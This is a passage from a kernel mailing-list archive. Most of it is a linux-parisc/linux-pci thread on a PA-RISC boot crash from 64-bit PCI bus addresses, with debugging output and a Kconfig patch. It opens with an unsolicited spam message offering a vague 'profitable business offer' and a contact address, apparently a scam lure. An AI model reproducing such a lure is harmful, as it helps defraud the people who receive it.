	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZS3NZ-0007J2-Ld
	for glpp-linux-parisc@plane.gmane.org; Wed, 19 Aug 2015 15:26:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753691AbbHSN0G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 19 Aug 2015 09:26:06 -0400
Original-Received: from imsvaou.iitkgp.ac.in ([203.110.245.100]:59857 "EHLO
	imsvaou.iitkgp.ac.in" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753542AbbHSN0E (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 19 Aug 2015 09:26:04 -0400
X-Greylist: delayed 1769 seconds by postgrey-1.27 at vger.kernel.org; Wed, 19 Aug 2015 09:26:03 EDT
Original-Received: from imsvaou.iitkgp.ac.in (unknown [127.0.0.1])
	by IMSVA (Postfix) with ESMTP id A30434C85AA;
	Wed, 19 Aug 2015 18:31:43 +0530 (IST)
Original-Received: from mtaout.iitkgp.ac.in (unknown [10.3.100.173])
	by imsvaou.iitkgp.ac.in (Postfix) with ESMTP id 741F04C85A8;
	Wed, 19 Aug 2015 18:31:43 +0530 (IST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mtaout.iitkgp.ac.in (Postfix) with ESMTP id E67E8120D9E;
	Wed, 19 Aug 2015 18:11:15 +0530 (IST)
Original-Received: from mtaout.iitkgp.ac.in ([127.0.0.1])
	by localhost (mtaout.iitkgp.ac.in [127.0.0.1]) (amavisd-new, port 10032)
	with ESMTP id 9vID13OS-3v1; Wed, 19 Aug 2015 18:11:11 +0530 (IST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by mtaout.iitkgp.ac.in (Postfix) with ESMTP id 0319C120D81;
	Wed, 19 Aug 2015 18:11:10 +0530 (IST)
X-Virus-Scanned: amavisd-new at mtaout.iitkgp.ac.in
Original-Received: from mtaout.iitkgp.ac.in ([127.0.0.1])
	by localhost (mtaout.iitkgp.ac.in [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id TDsil7gGYl6J; Wed, 19 Aug 2015 18:11:09 +0530 (IST)
Original-Received: from zmstore01.iitkgp.ac.in (unknown [10.3.100.176])
	by mtaout.iitkgp.ac.in (Postfix) with ESMTP id 2F4D1120D54;
	Wed, 19 Aug 2015 18:11:08 +0530 (IST)
X-Originating-IP: [10.3.100.244]
X-Mailer: Zimbra 8.0.9_GA_6191 (zclient/8.0.9_GA_6191)
Thread-Topic: Today
Thread-Index: zFYU5uoiYGLd6EaAImonw2W/B+dsIw==
X-TM-AS-MML: disable
X-TM-AS-Product-Ver: IMSVA-8.5.0.1165-8.0.0.1202-21756.002
X-TM-AS-Result: No-0.264-7.0-31-10
X-imss-scan-details: No-0.264-7.0-31-10
X-TM-AS-User-Approved-Sender: No
X-TMASE-Version: IMSVA-8.5.0.1165-8.0.1202-21756.002
X-TMASE-Result: 10-0.264500-5.000000
X-TMASE-MatchedRID: U3D8SdP84IRxHEsn3sNejI6Itrh646OO1kqyrcMalqWy49i7IrbGQQ0S
	u8GZBDMT/qrsQc9mp/qRk6XtYogiau9c69BWUTGw1Mdf6uDswa0TZqIxjlGXo1BKkt/FkZByXy8
	y7XWvfcrtnih9yxn/S0GB75ZTJT+TjoczmuoPCq0Tlrez0wC3WjsVkqCRC9DrKbbQ3Ntq8S8zZZ
	Q00Nol3UH9QOAwkhzr07og0mChoOHsAh/INv965HkM1UB13RG0u6LkouNU2KaYnYB3Lm7XsQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25976
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25976>



Hi,I have a profitable business offer to discuss with you.It will benefit you and your family.Kindly reply me back so we can discuss further, safissans@hotmail.com
Safia
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Aw: Re:  A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Wed, 19 Aug 2015 16:06:38 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee> <55D38BE6.6080302@gmx.de>
 <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
 <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
 <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>,
 <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1439993225 23841 80.91.229.3 (19 Aug 2015 14:07:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 19 Aug 2015 14:07:05 +0000 (UTC)
Cc: "Yinghai Lu" <yinghai@kernel.org>, "Meelis Roos" <mroos@linux.ee>,
	linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"Bjorn Helgaas" <bhelgaas@google.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	"James Bottomley" <James.Bottomley@hansenpartnership.com>
To: "John David Anglin" <dave.anglin@bell.net>
Original-X-From: linux-pci-owner@vger.kernel.org Wed Aug 19 16:06:54 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1ZS40w-0005iz-82
	for glp-linux-pci@plane.gmane.org; Wed, 19 Aug 2015 16:06:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753751AbbHSOGs (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Wed, 19 Aug 2015 10:06:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:54766 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753418AbbHSOGr (ORCPT <rfc822;linux-pci@vger.kernel.org>);
	Wed, 19 Aug 2015 10:06:47 -0400
Original-Received: from [155.56.68.217] by 3capp-gmx-bs16.server.lan (via HTTP); Wed,
 19 Aug 2015 16:06:38 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:r0x+LDlKTA9sZaThkXTMcZWa9GJI8fttDcgip7yBizO
 WfPJRdG/ijNZQVWNZDeXDnubJrBYeAtYmTPve9xGYwJ7dw5I8q
 usUgG8bmcNTFxzuv0y8W59BfU1F+R+Kb8lCO9uQ7Wu/+FQLlOZ
 A731K84ey26Vr/9qK1Th0KRbgstdG91fYdwUB8CArCKDxa4aEC
 pRPx7keVVla0YGu6JK0XGmwtLK35zT3O1pFcA59kCj67sf5/tO
 poi8lioeZrvctTsjuCpQ3NECXDgxf7DEZfy0FC57fHeoIDFl3i d32cJk=
X-UI-Out-Filterresults: notjunk:1;V01:K0:Vl9EFmsXrpY=:tzV3Jjdf7rly6c96h9YxVO
 y6EGwZK1brC20ouYrHVqxNEvco5eYVeCEKo5KoI4iysfYwVmWzxcTQo5OmtJI9tMSUEjUo9WH
 uP8d81SG1eCgBavG+gNtMv3O1uAuRX15nXVFTAIi9/MWLqgKoXY5z0ftUOWp/V7saOMTbhBKO
 cRfxA/Cx/SvnfO5UEL16FeAt6GgTT4a5m+X2aNudaNYaHgBQtleFNW48sBCeEHbTaX6jC4GJc
 aJj5RwGMbh0ZD7W3mYbFm14+OWLqx+8W0fVn7M5LLsx3n1xL70BrRLMrbF2qt0FTqOn7D/4kA
 VlyWprMgTjK1wCmRLAUWF0bmFHvTtGs8vAyckk1N4Sssi7OYV7dZ8rpuAvRfhkaQjF+Wb+ESH
 exBxuQFIvX36NhI4CA63rpTJx+90M7aPO3ucc1vqYVgOUGL8htydQh8tQ77E3XFjFMUd0TLhr
 EyTOkT4O0A==
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:44496 gmane.linux.ports.parisc:25977 gmane.linux.ports.sparc:21490
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/44496>

> On 2015-08-19, at 1:30 AM, Yinghai Lu wrote:
> > On Tue, Aug 18, 2015 at 9:48 PM, Meelis Roos <mroos@linux.ee> wrote:
> >>> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
> >>> 
> >>> Then we should change to
> >>> 
> >>> config PCI_BUS_ADDR_T_64BIT
> >>>       def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
> >>>       depends on PCI
> >> 
> >> Why SPARC64? The problem happened on parisc.
> > so will not set PCI_BUS_ADDR_T_64BIT for parisc.

I think given the current time frame it's probably the best approach to fix this problem for kernel 4.2.
It reverts the behaviour back to how it was before (for all arches beside SPARC64).
I'm still wondering if/why parisc is the only arch (in the sym53c8xx driver only!) which broke by this change...

> I'm not sure this is optimal.  While the A500 may only have 32-bit PCI, c8000 appears to have a mix
> of 32 and 64-bit, and rp34XX is all 64-bit.

True, but probably nobody of us noticed that we only used the 32-bit PCI interface even with 64bit kernel on parisc up to now?
pci_bus_alloc_resource() in drivers/pci/bus.c just disabled (flag=0) all 64bit resources for us.
But I agree, I think we need to fix drivers/parisc/lba_pci.c to correctly cope with 64bit pci addresses.

In the meantime I did some more debugging on sym_iomap_device() in drivers/scsi/sym53c8xx_2/sym_glue.c:
   pcibios_resource_to_bus(pdev->bus, &bus_addr,
                          &pdev->resource[i]);
   ram_base = bus_addr.start;

with (working) 32bit PCI addresses I get:
ressource = [mem 0xffffffff80002000-0xffffffff80003fff 64bit]
and pcibios_resource_to_bus() returning: ram_base = 0x80002000 

and with (failing) 64bit PCI addresses I get:
ressource = [mem 0xfffffff004000000-0xfffffff004001fff 64bit]
and pcibios_resource_to_bus() returning: ram_base = 0xfffffff004000000 

It seems the resource window doesn't get initialized correctly for 64bit...

Helge

From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: Re:  A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 20 Aug 2015 00:42:34 -0500
Lines: 83
Approved: news@gmane.org
Message-ID: <20150820054234.GA10267@google.com>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee>
 <55D38BE6.6080302@gmx.de>
 <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
 <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
 <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
 <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
 <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1440049370 5991 80.91.229.3 (20 Aug 2015 05:42:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 05:42:50 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Yinghai Lu <yinghai@kernel.org>, Meelis Roos <mroos@linux.ee>,
	linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 07:42:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZSIcc-0007e0-FX
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Aug 2015 07:42:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751267AbbHTFml (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2015 01:42:41 -0400
Original-Received: from mail-pd0-f172.google.com ([209.85.192.172]:35716 "EHLO
	mail-pd0-f172.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751189AbbHTFmk (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2015 01:42:40 -0400
Original-Received: by pdob1 with SMTP id b1so10053194pdo.2
        for <linux-parisc@vger.kernel.org>; Wed, 19 Aug 2015 22:42:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=hmsKb8Fy11aUikay4V/QoPTuBHZpC0h8bEYPPtorke4=;
        b=dOcmuM0RPpyngvgf67eEOx2r6FQUQeGnw7di9LUt5hH2Tvg+DDfUsnSjPErAyCb0TA
         iMLhOEIRPIY0Aq/7Vse1tIc5E+kULCPqUJtCPeHTfEnmcE7I3TkNJmLkeItFT+T89ZYw
         UW8pmxzvEJ4n2lzeaXqRbbAwjSGdtJozTGq9OT/L2bfgbQs6tUjcgGKHH67CqFhMbf8g
         lx+Kv6x+qn7M6rB9iCxPVYoeH2uaGN7m7zKR9dUoIQ17Q0U2knNaCwOddtk4N957hvtK
         672on6Y79rj3U+OlBFSElgRtYoiQwvDb0wvfzmT7w1MMn+T7yBKKtiDB8/Rv1xatvexW
         fybQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=hmsKb8Fy11aUikay4V/QoPTuBHZpC0h8bEYPPtorke4=;
        b=e57ow2YX+Y8211NH0tMgRkSyuMMPtGD9B8agtp+P6US3kMpB7w5P2emDF1ULb5/ouG
         e6xL/ZP2S5wP+8GXYaqxMYDR1sCezUm/xo6aS4C91yORvDzgYJwdsd/1UTpjjyLjLwml
         ZJJq6ypF5fR1XXaxpgSx0gaDMflqR+9cfWYMMuKtCiLYXars814tfxbZBhg1QTNpFY/a
         MixWzH5D76qvkBHKoBv+ZbMJLGLfiV2nlzCk5gLGctXZehwNmqZ/49Ga77+4pW3X7Wpk
         DnTAfgxr068XRtd4cGnQkA7IaXvQ/gvIbAH0eHsBMlFR/RO4AmRROB76GOhAazhV7J0z
         Tjyg==
X-Gm-Message-State: ALoCoQn0B6zJ6Nz0A3+TRG4bop0dGE//LToUBmYQ24bishk0kawWutAEA9silIO9CNT3e8rwmvBj
X-Received: by 10.70.22.234 with SMTP id h10mr2962662pdf.102.1440049359908;
        Wed, 19 Aug 2015 22:42:39 -0700 (PDT)
Original-Received: from google.com ([70.96.146.23])
        by smtp.gmail.com with ESMTPSA id qr5sm2819337pbb.26.2015.08.19.22.42.37
        (version=TLSv1.2 cipher=RC4-SHA bits=128/128);
        Wed, 19 Aug 2015 22:42:38 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25978 gmane.linux.kernel.pci:44509 gmane.linux.ports.sparc:21499
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25978>

On Wed, Aug 19, 2015 at 04:06:38PM +0200, Helge Deller wrote:
> > On 2015-08-19, at 1:30 AM, Yinghai Lu wrote:
> > > On Tue, Aug 18, 2015 at 9:48 PM, Meelis Roos <mroos@linux.ee> wrote:
> > >>> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
> > >>> 
> > >>> Then we should change to
> > >>> 
> > >>> config PCI_BUS_ADDR_T_64BIT
> > >>>       def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
> > >>>       depends on PCI
> > >> 
> > >> Why SPARC64? The problem happened on parisc.
> > > so will not set PCI_BUS_ADDR_T_64BIT for parisc.
> 
> I think given the current time frame it's probably the best approach to fix this problem for kernel 4.2.
> It reverts the behaviour back to how it was before (for all arches beside SPARC64).
> I'm still wondering if/why parisc is the only arch (in the sym53c8xx driver only!) which broke by this change...
> 
> > I'm not sure this is optimal.  While the A500 may only have 32-bit PCI, c8000 appears to have a mix
> > of 32 and 64-bit, and rp34XX is all 64-bit.
> 
> True, but probably nobody of us noticed that we only used the 32-bit PCI interface even with 64bit kernel on parisc up to now?
> pci_bus_alloc_resource() in drivers/pci/bus.c just disabled (flag=0) all 64bit resources for us.
> But I agree, I think we need to fix drivers/parisc/lba_pci.c to correctly cope with 64bit pci addresses.

I doubt we can fix the underlying issue before v4.2, but I'd at least
like to avoid it.  I applied the patch below to for-linus.

Yinghai proposed this:

> > >>>       def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)

I did this instead:

+	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))

because (a) Yinghai's proposal suggests this change is related to
SPARC64, which is misleading, and (b) I want to keep 64-bit bus
addresses for all 64-bit kernels *except* PA-RISC.

I didn't mark it as Tested-by Meelis because I think he tested
Yinghai's proposal.  But I can add that back, given confirmation.


commit 51a660a2732c
Author: Bjorn Helgaas <bhelgaas@google.com>
Date:   Thu Aug 20 00:08:15 2015 -0500

    PCI: Don't use 64-bit bus addresses on PA-RISC
    
    Meelis and Helge reported that 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
    caused HPMCs on A500 and hangs on rp5470.
    
    PA-RISC does not set ARCH_DMA_ADDR_T_64BIT, even for 64-bit kernels, so
    prior to 3a9ad0b4fdcd, we always used 32-bit PCI addresses.  After
    3a9ad0b4fdcd, we do use 64-bit PCI addresses in 64-bit kernels, and
    apparently there's some PA-RISC problem related to them.
    
    Fixes: 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
    Link: http://lkml.kernel.org/r/alpine.LRH.2.11.1507260929000.30065@math.ut.ee
    Reported-by: Meelis Roos <mroos@linux.ee>
    Reported-by: Helge Deller <deller@gmx.de>
    Based-on-idea-by: Yinghai Lu <yinghai@kernel.org>
    Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

diff --git a/drivers/pci/Kconfig b/drivers/pci/Kconfig
index 73de4ef..944f500 100644
--- a/drivers/pci/Kconfig
+++ b/drivers/pci/Kconfig
@@ -2,7 +2,7 @@
 # PCI configuration
 #
 config PCI_BUS_ADDR_T_64BIT
-	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
+	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
 	depends on PCI
 
 config PCI_MSI
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.sparc
Subject: Re: A500 boot crash in 4.2.0-rc3-00246-g763e326
Date: Thu, 20 Aug 2015 08:53:11 +0200
Lines: 101
Approved: news@gmane.org
Message-ID: <55D57957.8020708@gmx.de>
References: <alpine.LRH.2.11.1507260929000.30065@math.ut.ee>
 <trinity-122a736f-3aac-4830-afc5-2abcd91792ea-1439820380917@3capp-gmx-bs71>
 <trinity-5720bef8-5a4c-4465-b9eb-622daaef650a-1439902901415@3capp-gmx-bs02>
 <alpine.LRH.2.20.1508182141200.24742@math.ut.ee> <55D38BE6.6080302@gmx.de>
 <CAE9FiQVUUN-SLO0U4G5CC6MEoXfb=bGd+f3bRgQprtaMHjsvpA@mail.gmail.com>
 <alpine.LRH.2.20.1508190747360.5154@math.ut.ee>
 <CAE9FiQW9hjDe2NBEfwQqcVZoJKqDjKT1P=7FcGjhVrF7wQW9+g@mail.gmail.com>
 <BLU436-SMTP773488774A8C76BF6C12E597670@phx.gbl>
 <trinity-ceafa563-3aad-4955-a6c6-205a2caf1e95-1439993198188@3capp-gmx-bs16>
 <20150820054234.GA10267@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1440053613 3282 80.91.229.3 (20 Aug 2015 06:53:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 20 Aug 2015 06:53:33 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Yinghai Lu <yinghai@kernel.org>, Meelis Roos <mroos@linux.ee>,
	linux-parisc@vger.kernel.org,
	"linux-pci@vger.kernel.org" <linux-pci@vger.kernel.org>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 20 08:53:27 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZSJj1-0006ES-VT
	for glpp-linux-parisc@plane.gmane.org; Thu, 20 Aug 2015 08:53:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751090AbbHTGxX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 20 Aug 2015 02:53:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:60172 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751898AbbHTGxW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 20 Aug 2015 02:53:22 -0400
Original-Received: from [192.168.20.60] ([92.203.50.142]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MAhWl-1ZdY8X3P3b-00BwXj; Thu, 20 Aug 2015 08:53:15
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20150820054234.GA10267@google.com>
X-Provags-ID: V03:K0:16G4xeP9210pw02mHruo1IkagGKzuaR97PdBgH0xaXHHsdyFlS1
 syJSMmMB4NDBwwiuXmNhizBFWu6GBhmmPK+FBWgUpd97UP9fEBXedVqIJaRhYWnIvRclHVe
 EYDbzWYw62w9/TnVURYXs7jMT7NV9OoN6vON9yKsI9MHZpoOKJxyKRGVgxEzLatmgpj1v7y
 /RR7ISUtELddxUra1GjMw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zNwX0bRiHYo=:FCXVxmBZ6GBJgANtjh/L0A
 IldlSSbKa0kuGq8/5hmUTPZaDPX1HejjB9drVdkaXdnMSFP0Z7iybIG8nXoCwTtWgbC7WYXOD
 wEtqMrCk8Ej/GSHXcRgeJczuptchmAS+yF0NqWRiPPeuG3DCoyQlROq7qVZLjmaM0xjSw9nna
 BV+d68uU3/33ZZC0xt01RbkPdpnwwUFn8N5h7i8ep4WAm3dtpY7GKaaFC7C9Wu60dVstktvCs
 pTNWFLp3FJUQsV2BSVTE33WUPuAJt1vb1LCeBcPTUh8rldWsQK87hE6xEGrCQDERGdEx6+t2S
 mFLcoEXZV+N9wXk7T6la2MMwz3dhvucLoZ48NRKkgbnLC3BMwNgciFARfkIgzuzxTWr6GjeE0
 VOGijDethEZz2l1ADUNJiyiExDxUOOWGoRMoJ8hpeX17YrgVueFUXJGA1HHgy8CTBYGxYXZ3x
 dVjykxfDKCGvuAKSqMPDPHS8xMQCZ0bUNrf7TOVukS6SAympHc6q8G/FpRHTSF3w4HH0dC6RN
 ILcCG4OJD1uUUDX4OO16KO2DRjdFSFKW9Td6sX7CWfFT0+6WRKA0nLhlGQe9jrfM6q1WIhJqz
 DFSItBUc7Ac8URtV5gjzZb+c6nfaxOYnAtvPiRc5tGDUziT1WX5gHaE3PEB1Zb1kKK++T7C4D
 Frm6FtudprlwSWB7/W0vxb6Q6C9AHkYTktzmLzaRvwbRAvY13WO+h2aGqMCUOns8p3lawVwdg
 4dhuVEXhE7kxGFdchxVGXm9JgLekteJKjsm3Fw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25979 gmane.linux.kernel.pci:44516 gmane.linux.ports.sparc:21504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25979>

On 20.08.2015 07:42, Bjorn Helgaas wrote:
> On Wed, Aug 19, 2015 at 04:06:38PM +0200, Helge Deller wrote:
>>> On 2015-08-19, at 1:30 AM, Yinghai Lu wrote:
>>>> On Tue, Aug 18, 2015 at 9:48 PM, Meelis Roos <mroos@linux.ee> wrote:
>>>>>> On Tue, Aug 18, 2015 at 12:47 PM, Helge Deller <deller@gmx.de> wrote:
>>>>>>
>>>>>> Then we should change to
>>>>>>
>>>>>> config PCI_BUS_ADDR_T_64BIT
>>>>>>        def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>>>>>>        depends on PCI
>>>>>
>>>>> Why SPARC64? The problem happened on parisc.
>>>> so will not set PCI_BUS_ADDR_T_64BIT for parisc.
>>
>> I think given the current time frame it's probably the best approach to fix this problem for kernel 4.2.
>> It reverts the behaviour back to how it was before (for all arches beside SPARC64).
>> I'm still wondering if/why parisc is the only arch (in the sym53c8xx driver only!) which broke by this change...
>>
>>> I'm not sure this is optimal.  While the A500 may only have 32-bit PCI, c8000 appears to have a mix
>>> of 32 and 64-bit, and rp34XX is all 64-bit.
>>
>> True, but probably nobody of us noticed that we only used the 32-bit PCI interface even with 64bit kernel on parisc up to now?
>> pci_bus_alloc_resource() in drivers/pci/bus.c just disabled (flag=0) all 64bit resources for us.
>> But I agree, I think we need to fix drivers/parisc/lba_pci.c to correctly cope with 64bit pci addresses.
>
> I doubt we can fix the underlying issue before v4.2,

Agreed.

> but I'd at least like to avoid it.  I applied the patch below to
> for-linus.
>
> Yinghai proposed this:
>
>>>>>>        def_bool y if (ARCH_DMA_ADDR_T_64BIT || SPARC64)
>
> I did this instead:
>
> +	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
>
> because (a) Yinghai's proposal suggests this change is related to
> SPARC64, which is misleading, and (b) I want to keep 64-bit bus
> addresses for all 64-bit kernels *except* PA-RISC.

Ok.
  
> I didn't mark it as Tested-by Meelis because I think he tested
> Yinghai's proposal.  But I can add that back, given confirmation.
>
>
> commit 51a660a2732c
> Author: Bjorn Helgaas <bhelgaas@google.com>
> Date:   Thu Aug 20 00:08:15 2015 -0500
>
>      PCI: Don't use 64-bit bus addresses on PA-RISC
>
>      Meelis and Helge reported that 3a9ad0b4fdcd ("PCI: Add pci_bus_addr_t")
>      caused HPMCs on A500 and hangs on rp5470.
>
>      PA-RISC does not set ARCH_DMA_ADDR_T_64BIT, even for 64-bit kernels, so
>      prior to 3a9ad0b4fdcd, we always used 32-bit PCI addresses.  After
